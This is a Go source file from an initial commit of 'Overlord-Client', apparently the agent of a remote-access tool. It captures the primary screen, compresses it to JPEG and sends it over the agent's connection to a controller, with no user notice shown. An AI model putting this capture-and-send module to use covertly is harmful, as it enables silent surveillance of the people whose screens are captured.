inital commit

Overlord-Client/cmd/agent/capture.go

@@ -0,0 +1,93 @@
+package main
+
+import (
+	"bytes"
+	"context"
+	"image"
+	"image/jpeg"
+
+	rt "overlord-client/cmd/agent/runtime"
+	"overlord-client/cmd/agent/wire"
+
+	"github.com/kbinani/screenshot"
+)
+
+var (
+	activeDisplays   = screenshot.NumActiveDisplays
+	captureDisplayFn = screenshot.CaptureDisplay
+)
+
+func captureLoop(ctx context.Context, env *rt.Env) {
+
+	if supportsCapture() {
+		_ = captureAndSend(ctx, env)
+	}
+
+	<-ctx.Done()
+}
+
+func supportsCapture() bool {
+
+	return safeDisplayCount() > 0
+}
+
+func captureAndSend(ctx context.Context, env *rt.Env) error {
+	if safeDisplayCount() == 0 {
+		return nil
+	}
+	img, err := safeCaptureDisplay(0)
+	if err != nil {
+		return err
+	}
+	if img == nil {
+		return nil
+	}
+
+	buf := bytes.Buffer{}
+	if err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: 60}); err != nil {
+		return err
+	}
+	frame := wire.Frame{
+		Type:   "frame",
+		Header: wire.FrameHeader{Monitor: 0, FPS: 1, Format: "jpeg"},
+		Data:   buf.Bytes(),
+	}
+	return wire.WriteMsg(ctx, env.Conn, frame)
+}
+
+func CaptureNow(ctx context.Context, env *rt.Env) error {
+	if !supportsCapture() {
+		return nil
+	}
+	return captureAndSend(ctx, env)
+}
+
+func safeCaptureDisplay(display int) (*image.RGBA, error) {
+	defer func() {
+		if recover() != nil {
+
+		}
+	}()
+	img, err := captureDisplayFn(display)
+	if err != nil {
+		return nil, err
+	}
+	return img, nil
+}
+
+func safeDisplayCount() int {
+	defer func() {
+		if recover() != nil {
+		}
+	}()
+	return activeDisplays()
+}
+
+func monitorCount() int {
+	n := safeDisplayCount()
+	if n <= 0 {
+
+		return 1
+	}
+	return n
+}